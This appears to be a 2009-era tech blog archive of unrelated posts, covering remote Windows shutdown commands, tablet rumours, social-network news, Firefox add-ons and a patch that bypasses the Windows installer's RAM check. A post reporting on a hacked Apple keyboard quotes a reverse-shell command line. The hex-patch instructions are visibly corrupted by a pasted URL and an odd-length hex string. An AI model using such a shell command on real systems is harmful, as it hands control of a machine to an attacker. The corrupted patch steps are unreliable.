Example and Demos

Welcome to Diligent Creators Demo Section as we are going to update our recent work here.

This is the place where all demos and examples will be posted those are being created/developed by the Diligent Creators’ Staff.

We also would like to start some tutorial section on our websites for Designer / Developers who needs to learn more in less time also some of the freeware projects and development stuff will be provided in this sections.

also follow on twitter @dcreators and facebook

Source

Blogger introduces blogger Stats

It seems Blogger does not want to keep silence in being fallen behind other free blog providers. Feature by feature has been released in the past several months. The last news from Blogger, they now introduce the Blogger Stats feature. In accordance with the name, Blogger Stats is the feature to view the statistics of blogs directly at blog dashboard.

Although for this purpose, we can use other parties, say Google analytic, which is Google service, but the direct statistics at the dashboard will be efficient as you do not need to open a new window or tab of the browser.



However, the Blogger Stats feature is still under testing and not yet available in the dashboard. If you want to try this feature, you have to log in to blogger in draft where you can access here at http://draft.blogger.com. Please login with the same user and password that you use to log in to blogger, then slick Stats.




Hmmm, I wonder what other features are under development for the next release?



Bravo for blogger fans!

Most Popular Posts * How-to: Use batch files to create a working environment * How-to: Connect your PC to your television and stereo

Think of this scenario; You are lying in bed and just finished watching a movie that you were streaming from a computer downstairs. You want to sleep, but you need to head downstairs to turn the computer off. Save some time, and do it from the computer upstairs.

There are a number of ways that you can restart or shutdown remote computers. You could use a remote desktop connection, but there are quicker ways and we will look at them today.

This article will show you various methods you can use to shutdown or restart computers on your network. We will look at:

• Command Line/Shortcuts
• Windows Tools
• 3^rd Party Applications

As well as looking after the environment and your pocket by saving electricity, it is surprisingly easy to achieve. This article is very much aimed at a home user. Most server operating systems have much more powerful tools available.

What you need:

All of the methods below require you to have an administrator account on the computer you want to shut down. This was a relief for me as I could see all sorts of ways this could be abused without such security.

All the methods below will require you to have either the IP address or machine name of the computer or computers you want to shutdown remotely.

All of the methods below were created using Windows XP. Vista offers the same commands and a few extras, while Windows 2000 has similar commands. If you use 2000, change the “-“ to a “/”.

Method 1: Command line

Microsoft has included a tool that comes with Windows that will be the focus of most of this article. I always like to use inbuilt utilities when they are available. In this case the command is “shutdown”.

If you open up a command prompt (Start > Run > Cmd) and type “shutdown”, you will see that there are a bundle of arguments you can use with the shutdown command. The -m argument followed by the machine name, and a -r(restart trigger) will shutdown your computer. The best way for me to explain it is through examples.

In the command prompt, try the following:

shutdown -m \\computername -s

Lets break it down:

1. The shutdown command gets the ball rolling
2. -m \\computername should be the name of the computer you want to shutdown.
3. -s tells the remote computer to Shutdown.

There are a number of other arguments you can use.

1. -r tells the remote computer to Restart
2. -l tells the remote computer to logoff

So that is all you need to know to do it from the command line. I find it a bit tricky to remember all the switches, so the methods below are more ideal for me.

Method 2: Shortcuts

This method uses the same “shutdown” command as above. The only difference is that we put the command into a shortcut so that we can launch it quickly.

Right click on your desktop
Select “New”
Select “Shortcut”
In the path put in:

shutdown -m \\computername -s

Call it whatever you want and change the icon if you would like.

Now you have a shortcut that when it is launched will shutdown the remote computer. How easy is that!

Method 3: Windows Tools

The “shutdown” command we have been looking at above has a graphical front end with a few nice features in it. If you have multiple computers you want to shut down, this may be a good option for you.

To get into it, open a command prompt and type “shutdown -i”

The graphical front-end will open up.

In here, you will see the same options available to you as the manual methods above, but this time you can list or browse multiple computers on your network and do bulk shutdowns or restarts.

It is fairly self explanatory, so I won’t go into it much more. It isn’t all that powerful. Check out another utility below.

This method requires you to put in a reason as to why you are restarting/shutting down. It’s a real pain.

Method 4: External utilities

RCL– Remote Computer Log On is a program I came across while scouring through SourceForge. It doesn’t look like much, but it is much more powerful and user friendly than the options above.

RCL was originally designed by a school teacher to control the computers in a computer lab. RCL offers no annoying fonts or popups. It makes up for them in features.

You can login/out, shutdown or restart multiple computers. There is even a feature to enable or disable Internet access.

The computer list uses text files making it easy to list groups of computers; i.e. one file for each lab.

It may be more than you want, but I am definitely going to be using this gem. If only I had it 3 years ago. Download it from SourceForge.

Another program of note is XP remote Timer. It runs much the same as the shutdown command but it offers a timer feature. It might be a good way to control how much time the kids use their computer.

Which method is right for me?

When this article was suggested to me, shortcuts seemed like the most practical way to control 1 or 2 remote computers. As the amount of computers increased, the graphical utilities won out.

Note:

Windows has inbuilt power management features which you might choose to use to shutdown a machine automatically when it is not in use for a certain period of time. This would achieve the same thing, but it removes the control you can have.

Apple Tablet - The story continues

The rumors regarding Apple's plan to manufacture a tablet computer have been circulating for a very long time now. However, it seems that these rumours finally have some tangibility; we should be expecting a release in the next couple of months.

This news has always been spattered with controversy as some people are welcoming the device and others slamming it as flawed. Whatever the stance, the success of the device remains to be seen. Wired Magazine's UK website sheds a little more light on the subject today by providing predicted pricing guidelines for the awaited addition to the Apple family.

Though typically with Apple releases many rumors appear and it becomes hard to sort out any truth. According to one of Wired's analysts, the Apple tablet will not be arriving in the near future, instead well into next year.

"Last week we spoke with an Asian component supplier that has received orders from Apple for a touchscreen device to be fulfilled by late [calendar year] 09," Munster wrote in a report. "This data point underscores our thesis that a tablet will likely launch in early 2010." This new information throws the cat amongst the pigeons once more, so what we are left with is yet more speculation and only mock predictions as to what the device will look like.

The general consensus at Wired is that the device will be a direct competitor to the Amazon ebook empire; other speculations as to the nature of the device have also been voiced. Wired's analyst, Munster, made his predictions for the device back in may.

• The device will most likely be a larger format iPod Touch, measuring between seven to ten inches
• The tablet will be used primarily for web surfing, e-mail and digital media
• Pricing should be between £300 and £450, positioning the tablet between an iPhone and a MacBook
• A carrier will probably subsidise the device, which will include a 3G modem

Yet more confusion regarding the Apple tablet. It seems that 2010 might be the year of the tablet as there are yet more rumours regarding Dell, Intel, HTC, and Nokia working on tablet devices along with TechCrunch who is working to get out its Crunchpad touchscreen tablet.

Facebook acquires FriendFeed for an undisclosed sum

News has broken today that social networking giant, Facebook, has acquired the website FriendFeed, a company which has had a rather strong influence on many of the commonly-used features that Facebook provides. TechCrunch initially reported the story, and they're doing their best to try and get more details. So far we've seen press releases from both companies.

FriendFeed said that they have accepted Facebook's friend request, and have provided a bit of clarity for current users of the site. As it stands, everything will operate normally, and any news related to the website will be posted here. FriendFeed say that any future plans that they conclude on with Facebook will be openly shared with the community, and the API for the website will remain operating as normal too.

This is certainly quite good for Facebook, considering the team of 12 employees at FriendFeed. They have a range of ex-Google workers, including one Paul Buchheit, the man who was behind Gmail, and also led the way with advertising for the company. According to Facebook's press release, Bret Taylor, a co-founder of FriendFeed, said, "Facebook and FriendFeed share a common vision of giving people tools to share and connect with their friends. We can't wait to join the team and bring many of the innovations we've developed at FriendFeed to Facebook's 250 million users around the world." Buchheit added, "As we spent time with Mark and his leadership team, we were impressed by the open, creative culture they've built and their desire to have us contribute to it. It was immediately obvious to us how passionate Facebook's engineers are about creating simple, ground-breaking ways for people to share, and we are extremely excited to join such a like-minded group."

Expect to see more announcements on this soon.

Amazon is now taking Mac OS X Snow Leopard pre-orders

According to MacRumors, Amazon is now taking pre-orders for Mac OS X Snow Leopard.

Amazon has also issued an “upgrade path alert” warning customers that Snow Leopard is only available for users running Leopard on an Intel machine:

Please note, that only Apple OS X Leopard users are eligible for the Snow Leopard upgrade. Tiger & earlier OS users will need to purchase either versions of the upgraded Mac Box Set. Also, Snow Leopard will only run on intel-based Mac computers.

In addition, Amazon is also taking pre-orders for OS X Snow Leopard family packs, and Snow Leopard Server.

Enjoy!

Apple keyboards hacked and possessed

If the bad news about all the new critical iPhone and Mac OS X vulnerabilities announced at Apple weren’t bad enough, there now appears to be a new vulnerability in Apple’s hardware. This type of a hack however isn’t something where you can go into an Apple store and have an Apple “genius” exorcise because once the Apple keyboard is infected and locked; there is no practical way of undoing the damage.

I got a chance to interview the security researcher at DEFCON 2009 (another security conference immediately following BlackHat) who discovered this flaw. The researcher explained that he goes by the name “K. Chen” because he feared harassment from staunch Apple fans who actually believe those Mac versus PC security commercials. In the video below, I had Mr. Chen demonstrate his possessed keyboard on my computer which had no special software installed. The keyboard would actually spit out in reverse order what had been typed into it whenever the ENTER key was pressed. This showed that the keyboard was indeed modified with special firmware which can record what was typed and inject it back into the host computer. This key logging capability can even work during the boot phase which would unlock additional hardware encryption features.



Once this keyboard is possessed by an attacker, the keyboard can easily fire up a bash connect back shell by launching a console and feeding in the following characters:

exec /bin/sh 0&0 2>&0

This would instantly connect the computer to the attacker’s computer and instantly give the attacker full control of the computer at which point additional rootkits could be installed. While this process would be visible to the human user while it’s happening, that risk would be minimized by waiting through an hour of no keyboard inactivity and a simple “Open Apple + M” key stroke would minimize the console shell hiding its actions further.

What all this basically means is that this keyboard can betray any computer it attaches to by:

• Recording your password keystrokes
• Deliver your computer into the attacker’s hands
• Re-infect your computer if your computer’s hard drive was completely wiped

This type of attack which is resilient against a full hard drive wipe is considered the holy grail of computer hacking because the hardware has been infected. Once the Apple keyboard (USB or BlueTooth) is infected, it is extremely difficult to detect and the only practical way to get rid of the infection is to throw away the keyboard.

Mr. Chen also explained that he had been working with Apple to come up with a solution, but that he feared Apple may be selecting the weaker fix by only blocking future revisions of Mac OS X from infecting the keyboard. This would not prevent the keyboard from being hacked by another computer running something other than the latest version of Mac OS X nor does it guarantee that a patched Mac OS X computer can’t bypass the proposed protections. The cleaner solution Mr. Chen is proposing is that Apple should simply lock the Keyboard firmware from any future modifications since the keyboard doesn’t implement any digital signature protection.

I asked Mr. Chen why Apple would leave the firmware open and he explained that Apple had a tendency to rush hardware to market which has resulted in shipped keyboards with flaws that needed firmware updates. But because the keyboards are already more mature today; perhaps it wouldn’t be a bad idea for Apple to lock in the firmware. I then asked Mr. Chen if he could produce a utility for consumers to lock their own keyboards and he said yes, but he would rather wait for Apple’s finalized solution first. If the Apple solution is inadequate, then he might revisit the possibility of producing a keyboard firmware locking utility. Until such time, buyers considering Apple keyboards have been warned.

iPhone/Touch – iPron private web browser and Space Ninja Game Free Today

iDodge: Space Ninja iPhone game and iPrOn Private Browser iPhone App are available for free download today. These have very good reviews so far.
iPrOn Private Browser is cool way to hide your questionable browsing history on your iPhone or touch. It uses the same engine as Safari under the hood, but makes sure there are no features that could leave bits of your browsing history left behind. it can be quite a hassle to completely remove your browsing history from your iPod or iPhone. Clearing the history and cache in the settings is not quite enough. iPr0n iTunes Link


iDodge: Space Ninja iPhone game is an accelerometer based space game that takes the shooting out of shooter and still delivers solid, difficult, and amazingly fun arcade action. Over 40 levels, with 5 challenge missions. You can save replays of epic moments you went through to show your friends. Gain medals by finishing stages without special abilities. Space Ninja iTunes Link ( if this link is not working, search for idodge)

iPhones at risk of hijacking via SMS

Researchers have discovered a flaw within Apple's iPhone SMS feature, an exploit that could allow a hacker access to your iPhone, disabling it and rendering it utterly useless. The exploit was publicized today at Black Hat cybersecurity conference in Las Vegas today.

Cybersecurity researchers Charlie Miller and Collin Mulliner discovered how they can disable any iPhone via a simple SMS. The exploit sent consumers into pandemonium, questioning if they should shut off their iPhone's as of Thursday, when the exploit was demonstrated and documented to the public. The exploit shows up on the victims device as a single square character.

Dwight Silverman from chron.com explains that the risk of consumers iPhone being compromised is very slim. The hacker will only be able to disable your iPhone if they send an SMS directly to your phone, making it harder is that they would need to spam every phone on the market hoping to hit an iPhone.

The report left by the researchers leaves gaps that must be filled in by attempted hackers in order to properly execute the attack, something that will eventually be discovered. Dwight also suggestions that the time needed to write a program to mass attack iPhone's on the market would require about two weeks to write the code.

Apple has reportedly had a month to fix the hole and release a patch to consumers, but has yet to do so. Since the demonstration and publication of the attack, Apple may delay the release of their new iPhone 3.1 firmware update to include a patch to fix the flaw in the iPhone SMS feature.

In theory, all consumers are safe for at least another two weeks until experts predict they will see this attack surface in the wild, unless Apple can patch the flaw by then.

Apple probably not attending CES 2010, despite rumors

Some of the big Apple news from the beginning of the year was that Apple would not be attending the Macworld Expo, stating that 2009 would be their last, despite the event being solely dedicated to their company. After this announcement, many speculated that the company might focus on other events, or in particular, the Consumer Electronics Show, which runs around about the same time as Macworld. Recently, news broke that the Apple's CEO, Steve Jobs, had been asked to keynote at CES, in which he has not responded. The Wall Street Journal stated that Apple will attend, but they've now updated their article after being called out, according to Apple Insider.

Here's the play by play: the WSJ initially stated that Apple was definitely going to be attending the CES in 2010. However, when the author of the article, Ben Charny, was at a dinner with the CEA Chief Executive, Gary Shapiro (who was said to have contacted Jobs, asking for him to be at CES), he was accused by Ryan Block (former editor of Engadget) of writing false information. Shapiro backed up the accusation, saying that Charny's article was, "specious and flatly wrong."

Engadget says that, yes, Apple still could potentially exhibit at the show, but it's unlikely. "Bottom line, though is that if Gary had even gotten remotely close to implying Apple would be at CES, this shoddily sourced piece by Charny wouldn't have been the earliest story with the scoop nearly 24 hours after the fact -- laptops would been immediately out for reports filed from the dinner table," they wrote, hence the WSJ correction.

So, Apple fans, it's time to get those hopes back under control, because chances are, we won't be seeing the computer maker at CES next year.

Twitter changes homepage to focus on search

Twitter has updated its' main page to re-focus the social networking and micro-blogging service as a search engine.

The new look homepage is only available to new users and will be shown when you are not logged in to Twitter. Biz Stone, Co-founder of Twitter, said in a company statement, "Twitter has moved from simple social networking into a new kind of communication and a valuable source of timely information." Stone also confirmed that Twitter will be tweaking the homepage in the future, responding to customer feedback.

Over the past 12 months Twitter has gone from a million unique visitors to over 20 million in the US alone. The popular tool has seen some interesting web applications built around it. Stweet allows you to navigate streets in Google Street View and see what someone has said about the street. Microsoft is planning to build Twitter functionality into the Xbox 360, set to be released in the next couple of weeks.

The popular service has not been without problems though. Celebrities suffered from hack attempts on popular accounts earlier this year. Recently, a hacker gained access to personal accounts of those in Twitter support and then leaked personal and Twitter business information.

If you are a Twitter user then don't forget to add @Shaz3e.

Hack to Install Windows 7, Vista or Server 2008 On Computer or Virtual Machine with Less Than 512 MB RAM Memory

Officially Windows 7, Windows Vista and Windows Server 2008 minimum system hardware specifications requires more than 512 MB of RAM physical memory, though Microsoft recommends 1 GB minimum memory is most production scenarios. As such, the install wizard does not allow setup process to go through when the system memory is less than 512 MB when installing Windows 7, Windows Vista and Windows Server 2008 on PC computer or virtual machine. The setup wizard will halt and force stop installation process with the following error message.

Windows detected that this computer has <128> MB of RAM, but 512 MB is required for installation. Installation cannot proceed.

Contrary to popular belief, the installation process of Windows operating system may require even more memory to load and boot than post-installation running system. The installation routine started from DVD disc or ISO will create a RAM disk, which takes up more than 128 MB of RAM. This fact has to be taken note when trying to install Windows 7, Windows Vista or Windows Server 2008 on a computer or virtual machine with less than 512 MB of RAM, and it’s recommended to have at least 256 MB of RAM even after using the hack below to ensure setup process can be loaded properl. Else, various errors such as “Ramdisk device creation failed due to insufficient memory” by “Windows Boot Manager”, or simply freezing and stop responding when DVD is booting.

So, how to install Windows 7, Windows Vista and Windows Server 2008 on a system or VM with only 256 MB to 512 MB of RAM memory? There are few workarounds to can be used to install Windows operating system even without 512 MB RAM.

Method 1: 384 MB of RAM to Run Setup Installation

Although the Windows setup process dialog message indicating at least 512 MB of RAM is required, in actual it will only look for available memory of around 384 MB (373 MB of RAM is workable in the case of Windows 7). Thus, end-user can easily add an additional piece of physical RAM into RAM slot to reach this threshold, or even easier in virtual machine, increase the allocated RAM slightly to match 384 MB level.

Method 2: Install With Required RAM Size and Reduce Memory Amount After Installation

While setup installation of Windows 7, Windows Vista and Windows Server 2008 requires 512 MB of memory to proceed, but that does stop user to reduce amount of RAM memory available to the system after installation completed. So, this workaround requires user to increase the amount of physical or virtual RAM to 512 MB (adding memory stick) in order to fulfill setup requirement, and then reduce the memory size to lower level (remove the added memory stick) once installation is completed. This workaround is especially easy for virtual machine, which more likely encounter low memory issue.

Method 3: Patch winsetup.dll Hack

The system check for RAM size and its stop installation routine is coded in winsetup.dll file on the DVD disc or ISO image. Follow the steps below to patch winsetup.dll to bypass the RAM memory check during setup installation of Windows 7, Windows Vista and Windows Server 2008.

Note: Only works on 32-bit (x86) version.

1. Copy the content of DVD installation disc media, or extract the contents of DVD ISO image to hard disk drive.
2. Download and install any HEX editor such as AptEdit Pro, WinHEX and Notepad++ (a Notepad alternative) with HEX Editor plugin.
3. Use the HEX editor to open winsetup.dll located inside the /source/ folder of the copied installation files.
4. Search or find the following HEX (hexadecimahttp://www.blogger.com/post-create.g?blogID=8031305317523384811l) string:

   77073D7801

5. Modify the HEX string to replace and overwrite it with the following HEX code:

   E90400000

6. Save the modified winsetup.dll file.
7. Run the setup.exe from the installation files copied to hard disk. For user who wants to start installation from bootable DVD instead, replace the winsetup.dll in the ISO with patched version, and then burn the ISO to disc.

Do note that although Windows can still run at less than mandatory required RAM memory, the performance of the system will take serious hit. With ridiculously low amount of memory, Windows Boot Manager may simply fail to load and stop with “Windows failed to start” or “No physical memory is available at the location required for the Windows Boot Manager. The system can not continue” error message, if not system driver or registry file is missing or corrupt message.

Enjoy!

Stop and Disable Web Pages Auto Refresh or Reload in Firefox

Some webmasters or bloggers like to have their web pages refresh or reload automatically after a period of time, either to increase the page views, or to increase the ads revenue that based on CPM model. The web pages can ask a web browser such as Firefox to automatically refresh a page after a given timeout by including the HTML element , or instruct web servers to send a Refresh: HTTP header.

The automatically refresh web pages feature can be annoying and irritating, can be disorienting due to sudden replacement of content, and probably a waste of bandwidth although some frequently and constantly updated content does deserve to be able to refresh automatically. If you’re not the one who in favor of web pages automatic refresh, it’s possible to disable, block and prevent web pages from auto refreshing in Firefox.

How to Stop and Block Web Pages from Auto Refresh or Reload in Firefox

In Firefox, go to Tools -> Options -> Advanced -> General -> Accessibility section, and then tick the check box labeled as Warn me when web sites try to redirect or reload the page.

Checking the option is equivalent to setting accessibility.blockautorefresh preference setting in about:config to True.

When the Block Auto Refresh option is enabled (set to True), automatic page refreshing request is blocked and ignored, instead, Firefox will displaying a message indicating the refresh and allowing the user to manually refresh the page.

To re-enable automatic page refresh, just untick and unselect the check box for Warn me when web sites try to redirect or reload the page option, or set accessibility.blockautorefresh preference setting in about:config to False.

Morgan Stanley intern says teens don't twitter

Teenagers spend money on game consoles, movies and music concerts while ignoring newspapers. At least that's what Matthew Robson, a 15 year old intern at Morgan Stanley is saying according to Bloomberg.

He was asked by Morgan Stanley's European media analysts to report on what he and his peers look for in the information-entertainment industries. The result was " one of the most clearest and most thought-provoking insights we have seen", analysts say. "Teenagers are consuming more media, but in entirely different ways and are almost certainly not prepared to pay for it," Morgan Stanley analysts Edward Hill-Wood, Patrick Wellington and Julien Rossi said.

Statistics by a PEW study show that "19% of online adults age 18-24 have used twitter or something like it".

Robson's insights include:Teenagers don't twitter. They dislike intrusive advertising on billboards, television and the Internet and they are willing to chase content and music across platforms and devices.

They do not listen to the radio, and prefer music from websites that stream music for free and allow them to choose their songs. They are very reluctant to pay for music, and most have never bought a CD.

Newspapers and other print media are not popular, while movies and music concerts remain popular.

They go to the movies quite often although it's not about the film, but the experience and getting together with friends.

Teenagers from higher-income families use iPods, while those from lower-income families use mobile phones to listen to music

99% of teenagers use a mobile phone to listen to music.

They watch less live television because of online services that allow them to watch shows at anytime.

What's hot: Anything with a touch screen, mobile phones with large capacities for music, portable devices that can connect to the Internets and really big television sets.

What's not hot: Phones with black and white screens, clunky brick phones, devices with less than ten-hour battery life and anything with wires.

Inside Bill Gates' real Facebook account

Ever wondered what Bill Gates' Facebook really looks like?

This week, reports have surfaced that Bill Gates stopped using Facebook because too many people wanted to add him as a friend. Gates told an audience in New Delhi he had tried out Facebook but ended up with "10,000 people wanting to be my friends". According to Gates he had trouble figuring out who was a real friend and who was not, "It was just way too much trouble so I gave it up," Gates told the business forum.

Over the years that Facebook has been operating there have been many parody and fake screen shots of Bill's Facebook pages but Neowin can reveal Gates' true Facebook page today.

Gates lists his favourite activities as "Tennis, Bridge, Reading, Movies" and is interested in "Science, Health, Philanthropy, Software, Neuroscience, Energy". Gates also lists his Education and work history, noting he attended Harvard in 1977 to study Mathematics and Lakeside School in 1973. Gates has a small 112 friends who he accepted onto his account before 10,000 people tried to add him as a friend. Some are less than genuine as can be seen in the wall posts below, but fellow Microsoft workers Steven Sinofsky, Ray Ozzie and Charlie Kindel are all listed as friends. Gates is also a member of the Just for fun (JFF), 2.4 Million strong group for general discussion and Invite all! groups on Facebook.





Thanks to Electronic Punk for the screenshots

Facebook now allows usernames to be changed

It seems after all the warnings from Facebook that once you choose a username for your profile you’re stuck with it forever, Facebook have now quietly added the ability for you to change it.

To change your profile’s username, go to Settings > Account Settings, and next to Username, click Change.

“Choose your new username carefully. You can only change your username once.” it warns.

Annoyingly, it does not allow you to change the formatting of your current username, such as the capitalization of letters or the location of dots. Because capital letters and dots do not make a username unique, when you click “Check Availability” it checks against all current usernames and reports that it’s not available because someone is already using it: you. Hopefully Facebook fixes this issue in the future.

Facebook suggests that when choosing a username you should “make sure it is something you like and that it’s appropriate for friends, family, co-workers, and anyone else who might use it to find you.”

Will you be changing your username?

Enjoy!

Get a Google Wave Invite

Wave is the new Multi Message Platform from Google. Google’s already allowing users to get in line for their invite to the limited preview. Go to the Google Wave’s sign up page https://services.google.com/fb/forms/wavesignup/, enter in your email address, and select the Enlist me! option (you should be willing to actually report bugs and give feedback if you select this option) and sign up. Google now officially stated that invites would be sent to first 100,000 users. Some features of Google Wave

• A wave is equal parts conversation and document. People can communicate and work together with richly formatted text, photos, videos, maps, and more.
• A wave is shared. Any participant can reply anywhere in the message, edit the content and add participants at any point in the process. Then playback lets anyone rewind the wave to see who said what and when.
• A wave is live. With live transmission as you type, participants on a wave can have faster conversations, see edits and interact with extensions in real-time.

Watch the demo video below

MySpace set to launch webmail service

The social networking website MySpace is set to launch a new email service this week, offering users their own @myspace.com email address. Just what you always wanted, eh?

According to paidContent, the launch will begin on Thursday and initially be low key, building up towards a full roll out sometime before the end of this year. MySpace has already tested the service with a few members and their feedback has been taken into account for the public launch, with the changes and tweaking process being ongoing.

The new email service will compliment the existing MySpace Mail personal messaging system and, because it is a brand new feature and things could easily go wrong once used on a larger scale, the availability to MySpace members will be gradual. The process of the roll out is still unclear, as is whether it will be available outside the US, but with a reported 130 million users worldwide - 70 million of those being in the US - it could become a major free email provider if the take up by existing members is large.

With visitors to MySpace declining recently, as Facebook becomes the social network of choice for many, this move could help give it back an edge over its rival. Most MySpace users are fairly young and might be more open to switching from services like Hotmail to the new service, which would also give them a larger attachment to the MySpace brand and website.

paidContent report that MySpace chief product officer Jason Hirschhorn is now behind the project, which has been in the works for a fair few months. paidContent were also told that the team working on the service is located in Seattle and includes lots of former Microsoft employees who worked on Hotmail. At the time of writing, director of product management at MySpace and one of the team - Rajit Marwah - currently has his MySpace status update set as "people send me some clean emails to my myspace for a screenshot", a nice confirmation of the news.

TwitCam, live video streaming for Twitter

There have always been a ton of options for people who want to web cam stream live, however none of those options where ever very easy to use or high quality. Today a new service was launched with the hope of matching twitter in ease of use. Twitcam is a high quality, plug-in-less web cam streaming service.

Twitcam makes use of Twitters API, so if you are all ready signed up on twitter. You are all set to go, just use your twitter sign in info and start broadcasting. Twitcam sends a tweet out to your followers and invites them to join you in a twitcam chat. Every time someone enters a tweet on twitcam, it is also sent as @reply on twitter. This allows for much more social chat, then any existing solution.

TwitCam has a dead simple UI, with controls for broadcasting and chatting. Right now the video window is slightly small, but TwitCam says it will increase the size in a future release.

If you ask me TwitCam has the makings of the next killer app for twitter. With it high ease of use and the simple accessibility (Twitter API). Right now it is not fully featured enough to sway professional users from services such as ustream & justin.tv. But for now it should become a popular tool for casual streamers.

Enjoy!

5 Awesome Mozilla Labs Projects for Firefox 3.5

Throughout the five years, Mozilla has dramatically improved the Internet browsing experience by producing stable, open-source applications that bring simplicity to our virtual lives. The latest version of Firefox is a prime example of how Mozilla integrates practical features into its products, like the inclusion of private browsing, tear away tabs and location awareness, while still maintaining a strong user base and delivering a stable browser.

However, the buck doesn’t stop there: Mozilla Labs has conjured up several new open source Firefox add-ons that aim to further enhance your web experience and promote better, more efficient browsing. Long time Firefox users are already familiar with the browser’s ability to become fully customizable with the inclusion of add-ons, so the concoctions coming out of Mozilla Labs should be no surprise. Read on to discover some of the latest releases from our favorite open sorcerers, but be aware that most Mozilla Labs projects are still in a prototype stage, so install at your own risk.

Bespin

Code editors, if you’ve ever needed a more organized way to increase productivity, while simultaneously supporting the open source community, Bespin is an integral add-on. Bespin’s HTML 5-based experimental code editor contains all the basic features you need to write code by giving you an almost-infinite amount of code lines and allowing syntax highlighting in Javascript, HTML and CSS—it also includes a nifty code bank.

This application will also make your entire web code available to other Bespin users, so you can receive feedback on your work, as well as have others contribute to it. Sometimes, you want to learn from other people; this web based editor easily pulls plug-ins from other people’s source codes, allowing you to mash up the two or receive inspiration from someone else.

The user interface of the editor is simple and easy to use; it even includes both vertical and horizontal scroll bars, both of which help innovation with the code editor and prevent UI restrictions. Additionally, it doesn’t matter how fast you type, Bespin’s intuitive design works so that it’s never a letter behind you.

Personas

Let’s face it: Computer user interfaces can be severely dull. There’s never a wrong time to spruce up your web browser and Mozilla’s Personas does just that. It runs on the philosophy that themes today can be too difficult to find and install and that graphic designers should be allowed a way to express themselves and showcase their art work without having to construct any code.

Personas is simple: Install the add-on, fire it up and browse the already expansive library showcased on the web. You can choose from the default skins, including beautiful nature scenes and Firefox’s own adorable mascot, Foxkeh, browse and search some of the custom made skins from other Personas users, or create your own.

Prism

It’s definitely a conundrum as to why services like Google calendar don’t have their own application. Thankfully, Mozilla’s Prism allows you to extract the link, place a shortcut on your desktop and run it as a separate process, even if you haven’t fired up your browser.

The Prism applications can be accessed just like any other program cluttering your desktop. In Windows, you can launch it straight from the Start menu and access it via the taskbar. And, when you’ve got applications you want running all the time—like Flickr, Gmail and Facebook—Prism can enable these web apps to start up when you boot your computer, or idle in the system tray.

One of the greatest uses for this application is to integrate any web links that you use like applications. For example, if you’ve got a mailto: link that opens your mail client, but you’d rather use your web-based email address that does not offer POP3, you can save the webmail link as its own process and execute it straight from the desktop every time you need it, as opposed to bookmarking the site, copying the web address you want to send an email to, and logging in.

Additionally, sometimes our browsers crash and we lose all of our work in one fell swoop. Prism makes sure that the web apps run separately from Firefox’s processes so that you’ll continue getting your Gmail regardless of your browser’s hiccup.

Weave

Mozilla believes that, as the web evolves, Firefox should do more to increase user control over data and personal information, while still maintaining a rich browsing experience.

The first component that is ready for testing this philosophy is Weave Sync, which encrypts and securely synchronizes passwords, bookmarks, history, tabs and preferences to the Mozilla cloud, somewhere in the infosphere.

In addition to your username and password, Weave also encrypts your data with a passphrase that only you know. This is especially useful for heavy Internet users who run on more than one machine—Weave will help maintain the same Firefox experience for every computer that you use.

Operator

If you don’t mind a bit of extra clutter in your navigation bar at the top at your browser window, Mozilla Labs’ Operator brings a whole new level of usability to websites with microformats—little bits of semantic markup that live symbiotically within the web. For example, if you visit Maximumpc.com and can’t seem to locate the Digg button on our page, simply hover over the Resources tab on the toolbar and Operator will provide an instant link.

Operator will also provide you links to search for a specific tag within a blog entry (provided it is tagged), of if you’re on a site like Upcoming.org, you’ll can export the event, map it on Google maps under Locations, or contact the venue where the event is taking place.